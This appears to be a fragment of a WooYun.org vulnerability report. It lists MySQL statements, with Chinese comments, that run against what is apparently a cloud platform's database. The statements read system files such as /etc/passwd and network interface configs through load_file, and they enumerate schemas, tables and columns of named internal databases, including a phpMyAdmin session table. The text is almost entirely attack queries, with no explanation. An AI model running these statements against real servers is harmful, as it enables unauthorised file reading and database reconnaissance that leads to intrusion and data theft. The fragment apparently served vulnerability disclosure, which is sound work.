WooYun.org

/* 以下结果是不同的 */
select user();
insert into tmp(data) select user();

/* 一些可执行的操作 */
//文件读取
insert into test(data) select load_file('/etc/passwd');
insert into test(data) select load_file('/etc/issue');
insert into test(data) select load_file('/etc/sysconfig/network-scripts/ifcfg-eth0');
//数据结构读取
insert into test(data) select load_file('/etc/sysconfig/network-scripts/ifcfg-eth1');
insert into test(data) select SCHEMA_NAME from information_schema.SCHEMATA limit 10;
insert into test(data) select concat('databases:',COUNT(*)) from information_schema.SCHEMATA;
insert into test(data) select concat('ibase_bae_code tables:',group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA='ibase_bae_code';
insert into test(data) select concat('ibase_bae_code.apps columns:',group_concat(COLUMN_NAME)) from information_schema.COLUMNS where TABLE_SCHEMA='ibase_bae_code' AND TABLE_NAME='apps';
insert into test(data) select concat('ibase_bae_code tables:',group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA='ibase_bae_code';
insert into test(data) select concat('ns_bae_yun_pma tables:',group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA='ns_bae_yun_pma';
insert into test(data) select concat('ns_bae_yun_pma.pma_session columns:',group_concat(COLUMN_NAME)) from information_schema.COLUMNS where TABLE_SCHEMA='ns_bae_yun_pma' AND TABLE_NAME='pma_session';